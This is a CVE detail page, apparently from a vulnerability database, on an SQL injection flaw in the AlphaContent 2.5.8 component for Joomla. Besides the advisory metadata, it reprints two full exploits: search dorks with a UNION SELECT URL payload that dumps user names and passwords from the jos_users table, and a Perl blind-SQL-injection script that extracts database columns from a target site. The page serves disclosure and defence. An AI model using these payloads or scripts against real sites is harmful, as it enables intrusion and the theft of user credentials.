CVE-2008-1559 : Detail

CVE-2008-1559

SQL Injection
A03-Injection
0.09%V3
Network
2008-03-31
15h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

SQL injection vulnerability in the Bernard Gilly AlphaContent (com_alphacontent) 2.5.8 component for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a view action to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 5310

Publication date : 2008-03-24 23h00 +00:00
Author : cO2
EDB Verified : Yes

########################################## # # [ Joomla Component com_alphacontent SQL Injection ] # ########################################## [~] Vulnerability found by: cO2 [ Algeria Security Crew ] [~] Contact: c02[at]hotmail.de [~] Website: http://www.dzw0rm.ch [~] Greetings: to all hackers DZ ########################################## [~] ScriptName : 'Joomla' [~] ModuleName : 'AlphaContent' [~] Version() : '2.5.8 ' ########################################### # # DORK 1 : inurl: "com_alphacontent" # # DORK 2 : "AlphaContent 2.5.8 © 2005-2008 - visualclinic.fr" # ########################################### [+]Exploit : index.php?option=com_alphacontent&section=6&cat=15&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/* ########################################### [+] : you can see the password in 'Title' ########################################### side note: <name>alphacontent</name> <creationDate>25 Jul 2007</creationDate> <author>Bernard Gilly</author> <copyright>This component is released under the GNU/GPL License.</copyright> <authorEmail>contact@visualclinic.fr</authorEmail> <authorUrl>www.visualclinic.fr</authorUrl> <version>2.5.8</version> <description>Directory component with alphabetical indexes for Joomla's Content</description> <name>alphacontent</name> <creationDate>16 Sept 2006</creationDate> <author>Bernard Gilly</author> <copyright>This component is released under the GNU/GPL License.</copyright> <authorEmail>contact@visualclinic.fr</authorEmail> <authorUrl>www.visualclinic.fr</authorUrl> <version>2.5.4</version> <description>Directory component and alphabetical indexes for Mambo/Joomla's Content</description> # milw0rm.com [2008-03-25]
Exploit Database EDB-ID : 5512

Publication date : 2008-04-26 22h00 +00:00
Author : cO2
EDB Verified : Yes

#!/usr/bin/perl #eSploit Framework - Inphex use Digest::MD5 qw(md5 md5_hex md5_base64); use LWP::UserAgent; use HTTP::Cookies; use Switch; $host_ = shift; $path_ = shift; $id_ = shift; $non_find = shift; #choose anything thats inside the article of id $column = "username"; #change if needet $table = "jos_users"; #change if needet print "usage: $0 http://host.com / 17 Following"; $info{'info'} = { "author" => ["cO2,Inphex"], "name" => ["Joomla com_alphacontent Blind SQL Injection"], "version" => [], "description" => ["This Script will exploit a Blind SQL Injection vulnerability in com_alphacontent\n"], "options" => { "agent" => "", "proxy" => "", "default_headers" => [ ["key","value"]], "timeout" => 2, "cookie" => { "cookie" => ["key=value"], }, }, "sending_options" => { "host" => $host_, "path" => $path_."index.php", "port" => 80, "method_a" => "SQL_INJECTION_BLIND", "attack" => { "option" => ["get","option","com_alphacontent"], "section" => ["get","section","3"], "task" => ["get","task","view"], "cat" => ["get","cat","3"], "sql" => ["get","id","".$id_."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),\$h,1)=CHAR(\$i)"], "regex" => [[$non_find]], }, }, }; &start($info{'info'},222); sub start { $a_ = shift; $id = shift; $get_dA = get_d_p_s("get"); $post_dA = get_d_p_s("post"); my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0); my $jj = 1; my $ii = 48; my $hh = 1; my $ppp = 0; my $s = shift; my $a = ""; my $res_p = ""; my $h = ""; ($h_host_h_xdsjaop,$h_path_h_xdsjaop,$h_port_h_xdsjaop,$method_m) = ($a_->{'sending_options'}{'host'},$a_->{'sending_options'}{'path'},$a_->{'sending_options'}{'port'},$a_->{'sending_options'}{'method_a'}); $ua = LWP::UserAgent->new; $ua->timeout($a_->{'options'}{'timeout'}); if ($a_->{'options'}{'proxy'}) { $ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'}); } $agent = $a_->{'options'}{'agent'} || "Mozilla/5.0"; $ua->agent($agent); { while (($k,$v) = each(%{$a_})) { if ($k ne "options" && $k ne "sending_options") { foreach $r (@{$a_->{$k}}) { if ($a_->{$k}[0]) { print $k.":".$a_->{$k}[0]."\n"; } } } } foreach $j (@{$a_->{'options'}{'default_headers'}}) { $ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]); $m++; } if ($a_->{'options'}{'cookie'}{'cookie'}[0]) { $ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]); } } switch ($method_m) { case "attack" { &attack();} case "SQL_INJECTION_BLIND" { &sql_injection_blind();} case "REMOTE_COMMAND_EXECUTION" { &attack();} case "REMOTE_CODE_EXECUTION" {&attack();} case "REMOTE_FILE_INCLUSION" { &attack();} case "LOCAL_FILE_INCLUSION" { &attack(); } else { &attack(); } } sub attack { if ($post_dA eq "") { $method = "get"; } elsif ($post_dA ne "") { $method = "post"; } if ($method eq "get") { $res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA); ${$a_}{$id}{'content'} = $res_p; foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) { if (${$jj} ne "") { ${$a_}{$id}{'regex'}[$h] = ${$jj}; } $jj++; } $h++; } } elsif ($method eq "post") { $res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA); ${$a_}{$id}{'content'} = $res_p; foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) { if (${$jj} ne "") { ${$a_}{$id}{'regex'}[$h] = ${$jj}; } $jj++; } $h++; } } } sub sql_injection_blind { syswrite STDOUT,$column.":"; while () { while ($ii <= 90) { if(check($ii,$hh) == 1) { syswrite STDOUT,lc(chr($ii)); $hh++; $chr = $chr.chr($ii); } $ii++; } push(@ffs,length($chr)); if (($#ffs -1) == $ffs) { print "\nFinished/Error\n"; exit; } $ii = 48; } } sub check($$) { $ii = shift; $hh = shift; if (get_d_p_s("post") ne "") { $method = "post"; } else { $method = "get";} if ($method eq "get") { $ppp++; $query = modify($get_dA,$ii,$hh); $res_p = get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query); foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) { return 1; } else { return 0; } $h++; } } elsif ($method eq "post") { $ppp++; $query_g = modify($get_dA,$ii,$hh); $query_p = modify($post_dA,$ii,$hh); $res_p = post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query_g,"application/x-www-form-urlencoded",$query_p); foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) { return 1; } else { return 0; } $h++; } } } sub modify($$$) { $string = shift; $replace_by = shift; $replace_by1 = shift; if ($string !~/\$i/ && $string !~/\$h/) { print $string; } elsif ($string !~/\$i/) { $ff = substr($string,0,index($string,"\$h")); $ee = substr($string,rindex($string,"\$h")+2); $string = $ff.$replace_by1.$ee; return $string; } elsif ($string !~/\$h/) { $f = substr($string,0,index($string,"\$i")); $e = substr($string,rindex($string,"\$i")+2); $string = $f.$replace_by.$e; return $string; } else { $f = substr($string,0,index($string,"\$i")); $e = substr($string,rindex($string,"\$i")+2); $string = $f.$replace_by.$e; $ff = substr($string,0,index($string,"\$h")); $ee = substr($string,rindex($string,"\$h")+2); $string = $ff.$replace_by1.$ee; return $string; } } sub get_d_p_s { $g_d_p_s = shift; $post_data = ""; $get_data = ""; $header_data = ""; %header_dA = (); while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}})) { if ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "get") { $method = "get"; push(@get,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]); } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "post") { $method = "post"; push(@post,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]); } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "header") { $header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} = $a_->{'sending_options'}{'attack'}{$k}[2]; } $hp++; } $yy = $#get; while ($bb <= $#get) { $get_data .= $get[$yy]."&"; $bb++; $yy--; } $l = $#post; while ($k <= $#post) { $post_data .= $post[$l]."&"; $k++; $l--; } if ($g_d_p_s eq "get") { return $get_data; } elsif ($g_d_p_s eq "post") { return $post_data; } elsif ($g_d_p_s eq "header") { return %header_dA; } } sub get_data { $h_host_h_xdsjaop = shift; $h_path_h_xdsjaop = shift; %hash = get_d_p_s("header"); while (($u,$c) = each(%hash)) { $ua->default_headers->push_header($u => $c); } $req = $ua->get($h_host_h_xdsjaop.$h_path_h_xdsjaop); return $req->content; } sub post_data { $h_host_h_xdsjaop = shift; $h_path_h_xdsjaop = shift; $content_type = shift; $send = shift; %hash = get_d_p_s("header"); while (($u,$c) = each(%hash)) { $ua->default_headers->push_header($u => $c); } $req = HTTP::Request->new(POST => $h_host_h_xdsjaop.$h_path_h_xdsjaop); $req->content_type($content_type); $req->content($send); $res = $ua->request($req); return $res->content; } } # milw0rm.com [2008-04-27]

Products Mentioned

Configuraton 0

Bernard_gilly>>Com_alphacontent >> Version 2.5.8

    Joomla>>Joomla\! >> Version *

    References

    https://www.exploit-db.com/exploits/5310
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/28443
    Tags : vdb-entry, x_refsource_BID